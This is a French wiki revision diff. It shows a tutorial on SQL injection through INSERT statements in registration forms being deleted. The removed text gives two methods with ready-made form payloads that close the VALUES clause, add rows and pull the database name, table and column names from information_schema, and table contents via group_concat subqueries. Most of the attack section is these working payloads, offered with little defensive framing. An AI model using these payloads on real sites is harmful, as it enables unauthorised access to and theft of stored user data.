Ci-dessous, les différences entre deux révisions de la page.
web:injection_sql_-_insert [2016/04/15 12:26] yorin Correction ortho |
web:injection_sql_-_insert [2016/07/04 08:38] |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
- | **Injection SQL Insert** | ||
- | |||
- | Un nouveau mode d'injection sql est apparu avec la création des formulaires d'inscriptions. | ||
- | Le but de l'insert est d'insérer comme son nom l'indique des valeurs dans une bdd. | ||
- | |||
- | Pour mysql la requête est la suivante : | ||
- | |||
- | INSERT INTO table_name VALUES ('nom','prenom','email','age'); | ||
- | |||
- | Si les champs ne sont pas traités avant d'être envoyés en base de données nous pourrons les exploiter. | ||
- | |||
- | Cet insert sera matérialisé par un formulaire simple avec quatre champs : | ||
- | |||
- | Nom = | ||
- | |||
- | Prenom = | ||
- | |||
- | Email = | ||
- | |||
- | Age = | ||
- | |||
- | **Exploitation** | ||
- | |||
- | __Première méthode__ | ||
- | |||
- | 1.Insérer des valeurs inattendues dans le formulaire | ||
- | |||
- | Notre requête | ||
- | <code> | ||
- | nom=dupond','jean','jean@dupond.fr','30')# | ||
- | </code> | ||
- | Cela aura pour effet de créer un utilisateur | ||
- | dupond jean jean@dupond.fr 30 | ||
- | |||
- | Maintenant, passons aux choses sérieuses. | ||
- | |||
- | 2.Afficher le nom de la base de donnée | ||
- | |||
- | Notre requête : | ||
- | <code> | ||
- | nom=dupond',(database()),'jean@dupond.fr','30')# | ||
- | </code> | ||
- | Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom de la base de donnée à la place de notre prénom. | ||
- | |||
- | 3.Afficher le nom des tables | ||
- | |||
- | Notre requête : | ||
- | <code> | ||
- | nom=dupond',(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema != 'mysql' and table_schema !='information_schema'),'jean@dupond.fr','30')# | ||
- | |||
- | </code> | ||
- | |||
- | Group_concat permet d'afficher plusieurs valeurs dans un même champs. | ||
- | |||
- | Lorsque nous afficherons le profil de notre utilisateur, nous obtiendrons le nom des tables à la place de notre prénom. | ||
- | |||
- | 4.Afficher le nom des colonnes d'une table | ||
- | |||
- | Notre requête : | ||
- | <code> | ||
- | nom=dupond',(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='ma_table'),'jean@dupond.fr','30')# | ||
- | </code> | ||
- | |||
- | Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom des colonnes de la table choisi à la place de notre prénom. | ||
- | |||
- | 5. Afficher une valeur d'une table | ||
- | |||
- | Notre requête : | ||
- | |||
- | <code> | ||
- | nom=dupond',(SELECT group_concat(ma_colonne) FROM ma_table),'jean@dupond.fr','30')# | ||
- | </code> | ||
- | |||
- | Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons les valeurs des colonnes de la table choisi à la place de notre prénom. | ||
- | |||
- | |||
- | |||
- | __Seconde méthode__ | ||
- | |||
- | 1.Insérer des valeurs à la suite de la première requête. | ||
- | |||
- | Le contenu de notre requête | ||
- | <code> | ||
- | nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best','hacker','best@hacker.fr',20)# | ||
- | </code> | ||
- | Cela aura pour effet de créer deux utilisateurs : | ||
- | dupond jean jean@dupond.fr 30 | ||
- | best hacker best@hacker.fr 20 | ||
- | |||
- | |||
- | 2.Afficher le nom de la base de donnée | ||
- | |||
- | Notre requête : | ||
- | <code> | ||
- | nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best',(database()),'best@hacker.fr',20)# | ||
- | </code> | ||
- | Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom de la base de donnée à la place de notre prénom. | ||
- | |||
- | 3.Afficher le nom des tables | ||
- | |||
- | Notre requête : | ||
- | <code> | ||
- | nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best',(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema != 'mysql' and table_schema !='information_schema'),'best@hacker.fr',20)# | ||
- | |||
- | </code> | ||
- | |||
- | Group_concat permet d'afficher plusieurs valeurs dans un même champs. | ||
- | |||
- | Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom des tables à la place de notre prénom. | ||
- | |||
- | 4.Afficher le nom des colonnes d'une table | ||
- | |||
- | Notre requête : | ||
- | <code> | ||
- | nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best',(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='ma_table'),'best@hacker.fr','20')# | ||
- | </code> | ||
- | |||
- | Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom des colonnes de la table choisie à la place de notre prénom. | ||
- | |||
- | 5. Afficher une valeur d'une table | ||
- | |||
- | Notre requête : | ||
- | |||
- | <code> | ||
- | nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best',(SELECT group_concat(ma_colonne) FROM ma_table),'best@hacker.fr','20')# | ||
- | </code> | ||
- | |||
- | Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons les valeurs des colonnes de la table choisie à la place de notre prénom. | ||
- | |||